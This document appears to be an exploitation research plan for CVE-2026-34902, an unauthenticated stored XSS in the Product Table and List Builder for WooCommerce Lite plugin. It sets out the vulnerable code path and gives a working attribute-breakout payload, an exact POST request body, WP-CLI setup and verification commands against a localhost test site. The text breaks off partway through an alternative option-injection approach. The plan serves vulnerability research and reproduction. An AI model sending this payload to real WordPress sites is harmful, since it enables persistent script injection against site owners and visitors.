Exploitation Research Plan: CVE-2026-34902

1. Vulnerability Summary

The Product Table and List Builder for WooCommerce Lite plugin (up to version 4.6.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS).

The vulnerability exists in the wcpt_process_preview_form() function within preview-form/preview-form.php. This function is hooked to template_redirect and processes POST requests directed at wc_product_table post types. It fails to perform any authorization checks (e.g., current_user_can()) or CSRF validation (nonces).

An attacker can update the wcpt_preview_template_shortcode post meta for any product table post. While the input is passed through sanitize_text_field(), this function only strips HTML tags and does not prevent attribute breakout via quotes. When the table is rendered, the malicious shortcode attribute is echoed without escaping in templates/container-open.php, leading to XSS.

2. Attack Vector Analysis

• Endpoint: Any public-facing URL of a wc_product_table post.
• Hook: template_redirect calls wcpt_process_preview_form().
• HTTP Method: POST
• Vulnerable Parameters:
  • wcpt_preview_template_shortcode: Carries the malicious shortcode with attribute-based XSS payload.
  • wcpt_preview_template_submit: Must be set to trigger the processing logic.
• Authentication: Unauthenticated (No capability or nonce checks).
• Preconditions: At least one wc_product_table post must exist and be publicly accessible.

3. Code Flow

1. Entry Point: A user sends a POST request to a wc_product_table post URL.
2. Trigger: preview-form/preview-form.php registers add_action('template_redirect', 'wcpt_process_preview_form');.
3. Vulnerable Logic (wcpt_process_preview_form):
   • Checks if $_POST['wcpt_preview_template_submit'] is set.
   • Verifies the global $post->post_type is wc_product_table.
   • No Nonce/Capability Check.
   • Retrieves $_POST['wcpt_preview_template_shortcode'].
   • Applies sanitize_text_field($shortcode). (Note: This strips tags like <script> but preserves quotes and attribute strings like onmouseover).
   • Executes update_post_meta($post->ID, 'wcpt_preview_template_shortcode', $shortcode);.
4. Sink (Rendering):
   • The function redirects back to the post URL.
   • wcpt_display_table_shortcode() (filtered on the_content) retrieves the malicious meta.
   • It executes do_shortcode($shortcode).
   • The shortcode handler eventually includes templates/container-open.php.
   • Final Sink: templates/container-open.php echoes the class attribute:

     $html_class = trim(apply_filters('wcpt_container_html_class', ... trim($this->attributes['class']) ...));
     ?>
     <div id="..." class="<?php echo $html_class; ?>" ...>
     

     The $html_class variable contains the attacker's injected attribute, which breaks out of the class attribute and executes JavaScript.

4. Nonce Acquisition Strategy

No nonce is required.
The function wcpt_process_preview_form() in preview-form/preview-form.php lacks any call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). It processes the POST request purely based on the presence of the wcpt_preview_template_submit parameter.

5. Exploitation Strategy

The goal is to inject a shortcode attribute that breaks out of the class="..." container and adds an event handler.

1. Identify Target: Find the URL of a wc_product_table post (e.g., http://localhost:8080/wc_product_table/my-table/).
2. Craft Payload:
   • Shortcode: [product_table class='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;"']
   • This payload is safe from sanitize_text_field as it contains no < > tags.
   • The style attribute ensures the div covers the viewport, making the onmouseover event easy to trigger.
3. Execute Attack: Send a POST request to the target URL.
   • URL: http://localhost:8080/wc_product_table/[TABLE_SLUG]/
   • Body (URL-encoded):

     wcpt_preview_template_submit=1&wcpt_preview_template_shortcode=[product_table class='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;"']&wcpt_preview_template=product_table_preview
     

   • Headers: Content-Type: application/x-www-form-urlencoded
4. Trigger: Navigate to the table URL. Moving the mouse anywhere on the page will trigger the alert(document.domain).

6. Test Data Setup

1. Dependencies: Ensure WooCommerce is installed and active.
2. Create Product Table: Use WP-CLI to create a target post:

   wp post create --post_type=wc_product_table --post_status=publish --post_title="Vulnerable Table" --post_name="vulnerable-table"
   

3. Identify URL: The URL will typically be http://localhost:8080/wc_product_table/vulnerable-table/.

7. Expected Results

• The POST request should return a 302 Redirect back to the table post.
• The wcpt_preview_template_shortcode meta for that post ID will be updated to the malicious shortcode.
• When viewing the post HTML source, the container div will look like:

  <div id="wcpt-..." class="wcpt wcpt-... x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" " ...>
  

8. Verification Steps

1. Check Meta Value: Use WP-CLI to verify the meta was stored:

   wp post meta get $(wp post list --name="vulnerable-table" --post_type=wc_product_table --format=ids) wcpt_preview_template_shortcode
   

2. Check HTML Response: Use http_request to fetch the table page and search for the payload:

   # Search for the onmouseover handler in the response body
   onmouseover="alert(document.domain)"
   

9. Alternative Approaches

Vector: Option Injection

The wcpt_process_preview_form() function also updates global options:

• wcpt_preview_template
• wcpt_preview_template_max_width

An attacker can inject CSS into the `max_